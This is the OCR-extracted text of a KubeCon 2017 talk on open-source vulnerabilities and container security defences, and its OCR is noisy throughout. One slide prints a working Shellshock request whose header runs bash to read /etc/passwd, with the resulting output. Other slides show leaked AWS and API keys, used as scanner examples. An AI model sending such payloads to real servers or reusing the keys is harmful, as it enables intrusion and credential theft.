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$ vulnerability
(I) A flaw or weakness in a system's design, implementation, or
operation and management that could be exploited to violate the
system's security policy.

https://tools.ietf.org/html/rfc2828
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Insecure Containers?
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Life is short. Reveal your affair.

Get started by exposing everything: -

Please Select 4

See Who Knows

Over 27,. anoynyolus members!

Is it possible to protect all data?
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Is our data more secure than it was 30 years ago?

@sublimino KubeCon 2017



What this talk is about

@sublimino KubeCon 2017

“Security”

Open Source vulnerabilities

How containers impact security

Cl Pipeline tooling

Defence from future vulnerabilities



What is security?




Who do we trust?
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Who do we trust?
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Can we trust open source?



e Netscape Public Lic

tain a copy of the NPL at http://www.mozilla, org/HPL/

governing rights and limitations under the NPL.
Corporation. ALL Rights Reserved.

MOZILLA CLIE
ifndef N0 MOCHA
endif

ifdef MOZ NETCA

endif
ifdef MOZ JAVA

else
endif
1indef MO SE
endif

ifeq TAN

endif

Can we trust open source?

# Running this rule assembles all the SDK source pieces into dist/sdk. You'll need to run this rule on every platform to get all the binaries (e.g. javah) copled there. You'll also have to do special magic on a Mac



ANATOMY OF
OPEN SOURCE
VULNERABILITIES



New section on Pre-announcing Viulns!

A complete guide to logos, catchy names
£ ] wc:'% template design

Hacks 4LOLS Bored Researcher

Peak glamour vulnerability Fatigue

@sublimino KubeCon 2017



Heartbleed (2014)



Heartbleed (2014)

@sublimino

SERVER, ARE YoU STiLL THERE?
IF S0, REPLY “HAT™ (500 LETTERS),

/

ser Meg wants these 500 letters: HAT.

KubeCon 2017



Heartbleed (2014)

@sublimino

HAT. Locas requests the "missed conme

ctions” page. Eve (administrator) wam

ts to set server's master key to "148

350365347 . Isabel wants pages about "

snakes ot not too long". User Haren

wWaErkSs o change account password to o
. - Tk =i

ser Meg wants these 500 letters: HAT.

KubeCon 2017



Heartbleed (2014)

"I was working on improving OpenSSL and
submitted numerous bug fixes and added new
features. In one of the new features,
unfortunately, | missed validating a variable
containing a length."

http://www.smh.com.au/it-pro/security-it/man-who-introduced-serious-heart
bleed-security-flaw-denies-he-inserted-it-deliberately-20140410-zgta1.html

@sublimino KubeCon 2017



http://www.smh.com.au/it-pro/security-it/man-who-introduced-serious-heartbleed-security-flaw-denies-he-inserted-it-deliberately-20140410-zqta1.html
http://www.smh.com.au/it-pro/security-it/man-who-introduced-serious-heartbleed-security-flaw-denies-he-inserted-it-deliberately-20140410-zqta1.html
http://www.smh.com.au/it-pro/security-it/man-who-introduced-serious-heartbleed-security-flaw-denies-he-inserted-it-deliberately-20140410-zqta1.html

https://www.dwheeler.com/blog/2015/
04/07/#heartbleed-afl-asan

https://qgithub.com/openssl/openssl/co
mmit/96db9023b881d7cd9f379b0c154
650d6¢108e9a32diff=unified

Overran Buffer

@sublimino o — R " ' = M KubeCon 2017



https://www.dwheeler.com/blog/2015/04/07/#heartbleed-afl-asan
https://www.dwheeler.com/blog/2015/04/07/#heartbleed-afl-asan
https://www.dwheeler.com/blog/2015/04/07/#heartbleed-afl-asan
https://github.com/openssl/openssl/commit/96db9023b881d7cd9f379b0c154650d6c108e9a3?diff=unified
https://github.com/openssl/openssl/commit/96db9023b881d7cd9f379b0c154650d6c108e9a3?diff=unified
https://github.com/openssl/openssl/commit/96db9023b881d7cd9f379b0c154650d6c108e9a3?diff=unified
https://github.com/openssl/openssl/commit/96db9023b881d7cd9f379b0c154650d6c108e9a3?diff=unified
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But letting the guards give away your secrets




Shellshock (2014)




Shellshock (2014)

GET /cgi-bin/status HTTP/1.0
user-agent: () { :; }; /bin/bash -c
'ping -c¢ 3 172.16.246.129; 1d; cat
/etc/passwd’

#
id


http://blog.knapsy.com/blog/2014/10/07/basic-shellshock-exploitation/
https://www.vulnhub.com/

Shellshock (2014)

_[ Raw T Headers T Hex |

HTITR/1.1 200 0K
Date: Tue, OF Oct 2014 Z21:55:04 GMT
Server: Apaches/2.2.21 (Unix) DAV/2

PING 172.16.246.129 (172.16.245.129): 56 data bytes

64 bytes from 172.16.246.129: seq=0 ttl=64 time=0.722 ms, seq=1 ttl=64 time=0.552 ms, seq=2 ttl=64
time=0.547 ms

Connection: close

Content-Type: text/plain

--- 172.16.246.12% ping statistics ---

3 packets transmitted, 3 packets received, 0% packet loss

round-trip min/avg/max = 0.547/0.607/0.722 ms

uid=1000(pentesterlab) gid=S0(staff) groups=5S0(staff),lo0(pentesterlab)
root:x:0:0:root: froot: /bin/sh

Tpix:7:7:lp:/var/spool/lpd: fbin/sh

nobody : x:65534: 65534 nobody : /nonexistent: /bin/false

toc:x:1001:50:Linux User,,,:/home/tc: /bing/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab: /bin/sh




Shellshock (2014)

"I've currently ported bash(1.08) and gcc(1.40),
and things seem to work."

- Linus Torvalds (25th August 1991, aged 21)

https://en.wikipedia.org/wiki/History of Linux#The creation of Linux

@sublimino KubeCon 2017


https://en.wikipedia.org/wiki/History_of_Linux#The_creation_of_Linux
https://en.wikipedia.org/wiki/History_of_Linux#The_creation_of_Linux

Shellshock CVEs

CVE-2014-6271 - original report. Fixed by bash43-025 (etc.) on 2014-09-24.
CVE-2014-7169 - file creation / token consumption bug found by Tavis. Fixed by
bash43-026 (etc.) on 2014-09-26.

CVE-2014-7186 - 10+ here-doc crash found by Florian and Todd. Fixed by bash43-028
(etc.) on 2014-10-01.

CVE-2014-7187 - off-by-one parsing error found by Florian. Fixed by bash43-028 (etc.)
on 2014-10-01.

CVE-2014-6277 - uninitialized memory issue found by Michal Zalewski. Fixed by
bash43-029 (etc.) on 2014-10-02.

CVE-2014-6278 - command injection remote command execution (RCE) found by Michal
Zalewski. Fixed by bash43-030 (etc.) on 2014-10-05.

http://www.openwall.com/lists/oss-security/2014/09/25/13
@sublimino KubeCon 2017
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And locking i‘ in Ehe dungeons




DROWN (2016)
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DROWN (2016)

IT WASNT THAT LONG
AGO THAT RSA WAS

JLLEGAL TO EXPORT,
CLASSIFIED A MUNITION,

\

@sublimino KubeCon 2017



Attacks against TLS/SSL
6.4.1 Renegotiation attack
6.4.2 Protocol downgrade attacks
6.4.3 Cross-protocol attacks: DROWN
6.4.4 BEAST attack
6.4.5 CRIME and BREACH attacks
6.4.6 Timing attacks on padding
6.4.7 POODLE attack
6.4.8 RC4 attacks
6.4.9 Truncation attack
6.4.10 Downgrade attacks: FREAK attack and Logjam attack
6.4.11 Unholy PAC attack
6.4.12 Sweet32 attack

A LOT of TLS attacks

@sublimino KubeCon 2017


https://en.wikipedia.org/wiki/Transport_Layer_Security#Attacks_against_TLS.2FSSL
https://en.wikipedia.org/wiki/Transport_Layer_Security#Attacks_against_TLS.2FSSL
https://en.wikipedia.org/wiki/Transport_Layer_Security#Renegotiation_attack
https://en.wikipedia.org/wiki/Transport_Layer_Security#Renegotiation_attack
https://en.wikipedia.org/wiki/Transport_Layer_Security#Protocol_downgrade_attacks
https://en.wikipedia.org/wiki/Transport_Layer_Security#Protocol_downgrade_attacks
https://en.wikipedia.org/wiki/Transport_Layer_Security#Cross-protocol_attacks:_DROWN
https://en.wikipedia.org/wiki/Transport_Layer_Security#Cross-protocol_attacks:_DROWN
https://en.wikipedia.org/wiki/Transport_Layer_Security#BEAST_attack
https://en.wikipedia.org/wiki/Transport_Layer_Security#BEAST_attack
https://en.wikipedia.org/wiki/Transport_Layer_Security#CRIME_and_BREACH_attacks
https://en.wikipedia.org/wiki/Transport_Layer_Security#CRIME_and_BREACH_attacks
https://en.wikipedia.org/wiki/Transport_Layer_Security#Timing_attacks_on_padding
https://en.wikipedia.org/wiki/Transport_Layer_Security#Timing_attacks_on_padding
https://en.wikipedia.org/wiki/Transport_Layer_Security#POODLE_attack
https://en.wikipedia.org/wiki/Transport_Layer_Security#POODLE_attack
https://en.wikipedia.org/wiki/Transport_Layer_Security#RC4_attacks
https://en.wikipedia.org/wiki/Transport_Layer_Security#RC4_attacks
https://en.wikipedia.org/wiki/Transport_Layer_Security#Truncation_attack
https://en.wikipedia.org/wiki/Transport_Layer_Security#Truncation_attack
https://en.wikipedia.org/wiki/Transport_Layer_Security#Downgrade_attacks:_FREAK_attack_and_Logjam_attack
https://en.wikipedia.org/wiki/Transport_Layer_Security#Downgrade_attacks:_FREAK_attack_and_Logjam_attack
https://en.wikipedia.org/wiki/Transport_Layer_Security#Unholy_PAC_attack
https://en.wikipedia.org/wiki/Transport_Layer_Security#Unholy_PAC_attack

A LOT of TLS Vulns

Luckyl3 THS POODLE2 LOGIAM
Renegotiation BEAST CRIME BREACH POO DLE FREAK S5LOTH
' & @O O 90 O ¢ Q\
\\\
| T T ! I T I 1
2009 2010 2011 2012 2013 2014 2015 2016
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Edward Snowden
2013 Hide & Seek Champion



DROWN (2016)

Proceedings of the 25th USENIX Security Symposium, August 2016 https://drownattack.com

DROWN: Breaking TLS using SSLv2

Nimrod Aviram’, Sebastian Schinzel?, Juraj Somorovsky?, Nadia Heninger*, Maik Dankel?,

Jens Steube”, Luke Valenta®, David Adrian®, J. Alex Halderman®, Viktor Dukhovni?,
Emilia Kisper®, Shaanan Cohney*, Susanne Engels?, Christof Paar® and Yuval Shavitt!

'Department of Electrical Engineering, Tel Aviv University
*Miinster University of Applied Sciences
*Horst Gortz Institute for IT Security, Ruhr University Bochum
*University of Pennsylvania

SHashcat Project

®University of Michigan

"Two Sigma/OpenSSL
8Google/OpenSSL

@sublimino KubeCon 2017









Dirty COW (2016)

@sublimino KubeCon 2017



Dirty COW (2016)

"One of the sites | manage was compromised,
and an exploit of this issue was uploaded and
executed. A few years ago | started packet
capturing all inbound HTTP traffic and was
able to extract the exploit and test it outin a

sandbox”

http://www.v3.co.uk/v3-uk/news/2474845/linux-users-urged-to-protect-again
st-dirty-cow-security-flaw
@sublimino KubeCon 2017



http://www.v3.co.uk/v3-uk/news/2474845/linux-users-urged-to-protect-against-dirty-cow-security-flaw
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The foundations are insecure
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RunC Exec Vuln (2016)




CloudBleed (2017)



What do these
vulnerabilities have
in common?



e Review other people’s code
e Fuzz and break stuff

e Donate to Open Source projects
o Especially those you trust for your privacy

@sublimino KubeCon 2017



Major recent
vulnerabilities had no
mitigation except
“update now”



JAILBREAK




Vulnerable versions

e Linux kernel since 2.6.22 (July 2007)
o Fixedin 4.8.3,4.7.9, 4.4.26 or newer (Oct 2016)

e All Docker versions
o it's a kernel bug: container syscalls hit host

@sublimino KubeCon 2017



Nondeterministic live demo

@sublimino KubeCon 2017
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Nothing is entirely secure

=



Security struggles to keep up with DevOps
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Is it effectively possible to write bug-free code?

-




Reducing Vulnerabilities

e Stopping vulnerabilities before they occur
o Better specification
o Robust design
o Improved build
e Finding vulnerability
o Better testing techniques
o Multiple testing methods
e Reducing the impact of vulnerabilities
o Resilient architecture

@sublimino KubeCon 2017



Reducing Vulnerabilities

e Measure software quality

©)
©)
©)

@sublimino

Software Assurance Maturity Model (OpenSAMM)

UL Cybersecurity Assurance Program

Consortium for IT Software Quality (CISQ) Code Quality
Standards

Coverity Scan

Core Infrastructure Initiative (Cll) Best Practices Badge
Building Security in Maturity Model (BSIMM)

KubeCon 2017



Reducing Vulnerabilities

e Measure process metrics

o Hours of effort
o Number of changes without acceptance test

defects
o Acceptance test defect density in released

code

@sublimino KubeCon 2017



Reducing Vulnerabilities

e Use skilled development teams

O

@sublimino

“If software is developed by a team who has clear
requirements, are well trained and have
demonstrated building good software with low
vulnerability rates, then we have confidence or
assurance that software they produce is likely to
have few vulnerabilities.”

KubeCon 2017



“For appraisal COQ: Slow review rates, slow
test execution, and poor product quality (poor
quality product slows down the review
process)”

@sublimino KubeCon 2017



Secure Programming

“This book provides a set of design and implementation
guidelines for writing secure programs...Specific
guidelines for C, C++, Java, Perl, PHP, Python, Tcl, and
Ada95 are included. It especially covers Linux and Unix
based systems, but much of its material applies to any
system.”

@sublimino KubeCon 2017



Reducing bug count

Raise the bar as high as resources allow
Measure quality process metrics

Don’t be so agile as to ignore specification
Use proficient teams and always upskill
Don’t enforce deadlines via overtime

Test quality and security early

e Use static analysis

@sublimino KubeCon 2017




Reducing Vulnerabilities

e Reducing the impact of vulnerabilities
o Resilient architecture

@sublimino KubeCon 2017



CONTAINER
LOCKDOWN



Where do containers excel?

Speed and heterogeneity of development
Cl ana test

Portability and deployment
Isolation without overhead

@sublimino KubeCon 2017



Where do containers excel?

Speed and heterogeneity of development
Cl ana test

Portability and deployment

Isolation without overhead

Security...?

@sublimino KubeCon 2017



LA

—_— KbCo 2017



Container Security: Bad

e Not everything in Linux is namespaced
e Daemon runs as root (rootless runC coming)
e Shared kernel (but can run inside a VM)

@sublimino KubeCon 2017



Container Security: Good

e Prevent many attacks through isolation and
strong default configuration

e Encourages minimal attack surface

e Speed of deployment encourages software
updates

e Content trust image signing/verification

e Native log drivers for many endpoints

@sublimino KubeCon 2017



Security Non-Events

(Not a comprehensive list)

e Mitigated: CVE-2013-1956, CVE-2013-1957, CVE-2013-1958, CVE-2013-1959, CVE-2013-1979,
CVE-2014-0181, CVE-2014-4014, CVE-2014-4699, CVE-2014-5206, CVE-2014-5207,
CVE-2014-7970, CVE-2014-7975, CVE-2014-9529, CVE-2015-2925, CVE-2015-3214,
CVE-2015-3339, CVE-2015-4036, CVE-2015-8543, CVE-2016-0728, CVE-2016-2383,
CVE-2016-3134, CVE-2016-3135, CVE-2016-4997, CVE-2016-4998

e Not mitigated: CVE-2015-5157 (Kernel DOS), CVE-2015-3290 (Kernel bug), CVE-2016-5195
(Dirty COW - Kernel)

@sublimino KubeCon 2017



Docker Security Features

e Namespaces

@sublimino KubeCon 2017



Docker Security Features

@sublimino KubeCon 2017



Docker Security Features

e Namespaces
o pid, network, mount, uts, ipc, user (not default)

@sublimino KubeCon 2017



Docker Security Features

e Namespaces
o pid, network, mount, uts, ipc, user (not default)

e Control groups (cgroups)

@sublimino KubeCon 2017



Docker Security Features

e Namespaces

o pid, network, mount, uts, ipc, user (not default)

e Control groups (cgroups)
e Docker runtime configuration

@sublimino
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Docker Security Features

e Namespaces

o pid, network, mount, uts, ipc, user (not default)

e Control groups (cgroups)
e Docker runtime configuration
e Kernel capabilities

@sublimino
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Docker Security Features

Linux Capabilities

00 —
I ——
50%
(T
[E——
]
——
=
Host bounding set Container bounding set
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Extended security features

e Hardened kernels

o GRSEC
o PAX

e Security Policies/Whitelisting
o Seccomp
o AppArmor
o SELinux
o TOMOYO Linux

m  http://tomoyo.osdn.jp/wiki-e/?WhatIs#comparison

@sublimino KubeCon 2017
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Security Policies on Containers
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Container Security

e Drop to unprivileged user in Dockerfile

e Reduce attack surface

o Debug by attaching to relevant namespace
docker run -it --net container:6d74906fc63cC
busybox # or --pid, or --ipc

e Remove SUID binaries
o ordrop the SETUID capability at runtime

e NOo --privileged containers

@sublimino KubeCon 2017



Container Security

Drop all capabilities then add needed caps
Enable user namespaces

Set resource limits and ulimits

Use a syscall whitelist (SELinux/AppArmor)

o and --security-opt
Mount volumes : ro, noexec, nosuid, nodev
Secure Docker host

@sublimino KubeCon 2017



Container Security

e Signimages

@sublimino KubeCon 2017



Kubernetes

apiVersion: v1
kind: Pod
metadata:

name: hello-world
spec:

containers:

securityContext:
runAsNonRoot: true
fsGroup: 1234
supplementalGroups: [5678]
seLinuxOptions:
level: "s0:c123,c456"

@sublimino KubeCon 2017






Autogenerated sec profiles

e Generators and helpers
o https://qithub.com/konstruktoid/Docker/blob/mas

ter/Scripts/genSeccomp.sh

o https://qgithu

b.com/docker-slim/docker-slim

o https://qgithu

b.com/jessfraz/bane

e Reference ca

Ds example

o https://github.com/microservices-demo/microservice

s-demo/tree/master/deploy/kubernetes/manifests

@sublimino
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The weakest link
is a likely
escalation point



Leaky-secrets Prevention

htkps://qit

U

b.com/dxad4481/truffleHoq

htkps://qit

U

b.com/awslabs/qit-secrets

U

b.com/michenriksen/qgitrob

htkps://qit
htkps://qit

U

h.com/ezekqg/qgit-hound

@sublimino
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TruffleHog

Date: 2014-04-21 18:46:21
Branch: master
Commit: Removing aws keys

@@ -57,8 +57,8 @@ public class EurekaEVCacheTest extends AbstractEVCacheTest {

¥ i
props.setProperty(” latacenter"”, "cloud");

- props.setProperty(” awsAccessId", "<aws access id>");

- props.setProperty(" awsSecretKey", "<aws secret key>");

+ props.setProperty(" awsAccessId", "AKIAJCKZWUHI2653GNBQ™");

+ props.setProperty(" awsSecretKey", "7JyrNOrk23B7bErD88eg8IfhYjAYdFI1hCbKEoGA");
props.setProperty(" .appinfo.validatelnstanceld", "false");

props.setProperty(” .discovery.us-east-1.availabilityZones", "us-east-lc,us-east-1d,us-east-le");


https://github.com/dxa4481/truffleHog
https://github.com/dxa4481/truffleHog

git-secrets

includes/function-base.sh:556: OUTPUT=S(curl -H "x-api-key: g36VHFtbLttwSr3HWgRnRaUs40b9KHLFXb707CxQE" "https://me
rcury.postlight.con/parser?url=5{URL}")

[ERROR] Matched one or more prohibited patterns

Possible mitigations:

- Mark false positives as allowed using: git config --add secrets.allowed ...

- Mark false positives as allowed by adding regular expressions to .gitallowed at repository's root directory
- List your configured patterns: git config --get-all secrets.patterns

- List your configured allowed patterns: git config --get-all secrets.allowed

- List your configured allowed patterns in .gitallowed at repository's root directory

- Use --no-verify if this is a one-time false positive



Docker container scanning

htkps://qit

U

b.com/coreos/clair

htkps://qit

U

v.com/CISOFy/lyvnis-docker

U

b.com/crOhn/dockerscan

htkps://qit
htkps://qit

U

b.com/banyanops/collector

@sublimino
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€ B example/repository

B bel2d34bfe56

Quay Security Scanner has recognized 209 packages.

@ 3 packages with High-level vulnerabilities.
18 packages with Medium-level vulnerabilities.
17 packages with Low-level vulnerabilities.
[ 1 packages with Negligible-level vulnerabilities.

@ 170 packages with no vulnerabilities.

Image Packages

PACKAGE NAME PACKAGE VERSION

openssh 1:6.6p1-2ubuntu2.3

git 1:1.9.1-1ubuntu0.2

eglibc 2,19-0ubuntu6.6

openssl| 1.0.1f-1ubuntu2.16

Filter Packa

REMAINING AFTER

VULNERABILITIES o UPGRADE IMPACT |
UPGRADE
i A HETTY oo buitds h 8% /bd
additional _build/prepare.s! -
A 1High+1 © Allidentified m . e 5 .
e S apt-get install -y gi th. .
additional vulnerabilities fixed pt-g Y git py

Sy 11411 s BTN file:b3447F4503091bb6bb6eS0

additional additional RS €980
+5  © Allidentified

additional vulnerabilities fixed

BETTY /bc_build/prepare.sh && /bd..
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[+] Users, Groups and Authentication

— Checking LDAP authentication support
- Check /etec/sudoers file

NOT EMAELED ]
NOT FOUND ]

- Search adwinistrator accounts. .. [ OK ]
— Checking UIDls... [ OK ]
— Checking chkgrp tool... [ FOUND ]
- Consistency check fetc/group file... [ QK 1]
— Test group files (grpek)... [ OK ]
— Checking login shells... [ WARMIMNG ]
— Checking non unigue group ID'=... [ OK ]
— Checking non unigue group names. .. [ OK ]
[
[

[ Pres=s [ENTER] to continue, or [CTREL]+C to stop ]

[+] Shells

— Checking console TTYs... [ WARNING
- Checking shells from /etc/shells. ..
Fesult: found 6 shells (wvalid shells: 6).

[ Press [ENTER] to continue, or [CTREL]+C to stop ]

[+] File systems

— [FreeB3D] Querying UF3 mount points (fstab) ... [ OK ]
— Query swap partitions (fstakb) ... [ OK ]
— Testing swap partitions... [ OK ]
- Checking for old files in Fftwp... [ WARMING ]
- Checking /twp sticky hit... [ OK ]
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dockerscan

e |mage
o Analyze: Looking for sensitive information in a Docker image.
m Looking for passwords in environment vars.
m Trytofindany URL/IPin the environment vars.
m Trytodeduce the user using internally to run the software. This is not trivial.
If the entry pointis a .sh file. Read the file and try to find call to sudo-like:

n u n u

“sudo”, “gosu”, “sh -u”... And report the user found.

o Extract: extract a docker image
o info: Get a image meta information
o modify:

m entrypoint: change the entrypoint in a docker
m trojanize: inject a reverser shell into a docker image
m user: change running userin a docker image

@sublimino KubeCon 2017



Honourable Mentions

e Runtime analysis
o https://github.com/banyanops/collector

e OpenSCAP
o https://qgithub.com/OpenSCAP/container-complian

ce/

m Now folded into the oscap-docker tool that
ships with OpenSCAP

@sublimino KubeCon 2017
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Twistlock
AqQua

Black Duck
Threat Stack
Docker Cloud

@sublimino KubeCon 2017



Host Analysis

e https://qithub.com/docker/docker-bench-security

e https://qithub.com/mzet-/linux-exploit-suggester

@sublimino KubeCon 2017
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Host config: Docker Bench

[INFO] 2 - Docker Daemon Configuration

[WARN] 2.1 - Restrict network traffic between containers

[WARN] 2.2 - Set the logging level
Initializing Thu Jan 26 08:58:33 UTC 217 F 2.3 - Allow Docker to make changes to iptables

;] 2.4 - Do not use insecure registries

[WARN] 2.5 = Do not use the aufs storage driver
[INFO] 1 - Host Configuration [WARN] 2.6 - Configure TLS authentication for Docker daemon
[WARN] 1.1 - Create a separate partition for containers [WARN] * Docker daemon currently listening on TCP with TLS, but no verification
[INFO] 1.2 =~ Harden the container host [INFO] 2.7 - Set default ulimit as appropriate

4 | 1.3 - Keep Docker up to date [INFO] * Default ulimit doesn't appear to be set

[INFO] * Using 1.13.@ which is current as of 2017-01-18 [WARN] 2.8 - Enable user namespace support
[INFO] # Check with your operating system vendor for support and security maintenance for Docker 2.9 = Confirm default cgroup usage
[INFO] 1.4 - Only allow trusted users to control Docker daemon 5] 2.1@ - Do not change base device size until needed
[INFO] * docker:x:998: ubuntu [WARN] 2.11 - Use authorization plugin
[WARN] 1.5 - Audit docker daemon - fusr/bin/docker [WARN] 2.12 - Configure centralized and remote logging
[WARN] 1.6 - Audit Docker files and directories - /var/lib/docker [WARN] 2.13 - Disable operations on legacy registry (vl)
[WARN] 1.7 - Audit Docker files and directories - /etc/docker [WARN] 2.14 - Enable live restore
[WARN] 1.8 - Audit Docker files and directories - docker.service 3] 2.15 - Do not enable swarm mode, if not needed
[WARN] 1.9 - Audit Docker files and directories - docker.socket 551 2.16 - Control the number of manager nodes in a swarm (Swarm mode not enabled)
[WARN] 1.1@ - Audit Docker files and directories - /etc/default/docker 2.17 - Bind swarm services to a specific host interface
[INFO] 1.11 - Audit Docker files and directories - /etc/docker/daemon.json [WARN] 2.18 - Disable Userland Proxy
[INFO] * File not found A 2,19 - Encrypt data exchanged between containers on different nodes on the overlay network
[WARMN] 1.12 - Audit Docker files and directories - /fusr/bin/docker-containerd 5] 2.20 - Apply a daemon-wide custom seccomp profile, if needed
[WARN] 1.13 - Audit Docker files and directories - /usr/bin/docker-runc J 2.21 - Avoid experimental features in production
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App-dependency analysis

e https://github.com/jeremylong/DependencyCheck
m https://github.com/stevespringett/dependency-check-son
ar-plugin

e https://qithub.com/snyk/snyk
e https://qithub.com/albuch/sbt-dependency-check
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dependency-check-sonar-plugin

Inherited Risk

18

Dependencies
Vulnerabilities

Vulnerable Dependencies

@sublimino

Vulnerable Component Ratio

5.7%
968 A O High Severity 1 o
262 A Medium Severity 225 A
46 A O Low Severity 36
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Go v Dashboand

() Your GitHub repositories

D wartch i) openafix PR

‘Watch your repositories and st@y secure;

Open a pull request on your repositony:

= Snyk tests in your pull requeses = Aevirw Snyk remdiaron oprions for your wislnerabilicies

* Autamatic Sryk GitHub FRs with fies

= Choose whether wo upgrade, parch or ignore

= Alerrs about e vulmerabilives or remediation apLns = Warch your réposslony and SLay 'mlrlur.-_l:||ll}'-||u-:-

Supported repositories (5) Gither repositories (7)

Watched repositories will be added a5 prajects in the Canidae Lid organisation.

If @ ErHuh repesizany er organbkerian & nar Kaed, dheok oeber neposbanis

canidae

¥ anatolian-shepherd

Wiew test report = 627 dependencies

i¥] old-english-sheepdog

Wiew test report * 1083 dependences

[ pinscher

YW DESE FepiorT L} dependencies

[ pug i KN - JER I . |

Wiew test report * 210 dependencies

Vies projec

i1 Openalfix PR

il Openafic PR

Mo known vulmerabilaes,

il Openafix PR



e http://lcamtuf.coredump.cx/afl/

e https://qithub.com/qoogle/sanitizers/wiki/Addres
sSanitizer
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afl

@sublimino

american fuzzy lop 1.86b (test)

process timing overall results

0 days, 0 hrs, 0 min, 2 sec

none seen yet 1
0 days, 0 hrs, 0 min, 2 sec 1
none seen yet 0
cycle progress map coverage
0 (0.00%) 2 (0.00%)
0 (0.00%) 1.00 bits/tuple
stage progress findings in depth
havoc 1 (100.00%)
1464/5000 (29.28%) 1 (100.00%)
1697 39 (1 unique)
626.5/sec 0 (0 unique)

fuzzing strategy yields
0/16, 1/15, 0/13 1
0/2, 0/1, 0/0 1
0/112, 0/25, 0/0 1
0
n
0

path geometry

0/10, 0/28, 0/0
0/0, 0/0, 0/0
0/0, 0/0
n/a, 0.00%
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Web Application Scanners

e https://qithub.com/zaproxy/zaproxy

e https://qithub.com/continuumsecurity/bdd-securit
y

e https://portswigger.net/burp/

e https://github.com/Arachni/arachni

e https://qithub.com/sullo/nikto
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How do we stay
secure?



D
A U
@
a

Metaphors



GET OFF MY
LAWN:
USING IDS



Intrusion detection

e in production
e and any other environments from which
promotion/escalation is possible
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Intrusion detection

e Sysdig Falco

@sublimino KubeCon 2017



Intrusion detection

e Open Source
o Sysdig Falco
o Snort
o https://github.com/ellerbrock/docker-security-images

e Proprietary (+ static analysis and more)
o Twistlock
o Black Duck

o Threat Stack
o Aqua
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THE NEXT
wat-BLEED



Open Source Security

e Isanything inherently secure?
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Open Source Security

e Isanything inherently secure?
e |s Open Source software more secure than
Droprietary?
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Open Source Security

e Isanything inherently secure?

e |s Open Source software more secure than
Droprietary?

e |t's “secure enough” for our needs
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Dangers of shiny things
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OWASP Top 10 — 2013 (New)

A1l - Injection

A2 — Broken Authentication and Session Management

A3 — Cross-Site Scripting (XS5)

A4 — Insecure Direct Object References

A5 — Security Misconfiguration

AB — Sensitive Data Exposure

AT — Missing Function Level Access Control

AB — Cross-5ite Request Forgery (C5RF)

A9 — Using Known Vulnerable Components

A10 — Unvalidated Redirects and Forwards
@sublimino KubeCon 2017



Prepare for the Unexpected




THE POINT IS

Nothing's inherently secure

Major vulns had no initial mitigation except “upgrade”
Apply defence in depth

Security begins in the pipeline

Use container security extensions

Pay attention to application security

IDS is required in every environment with privilege

Feedback welcome @sublimino (slides arriving shortly via

Twitter)
@sublimino KubeCon 2017



THE END
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Security Checklist

e https://www.docker.com/sites/default/files/WP IntrotoContainerSecurity 08
.19.2016.pdf

e https://github.com/GDSSecurity/Docker-Secure-Deployment-Guidelines

e https://www.delve-labs.com/articles/docker-security-production-2/
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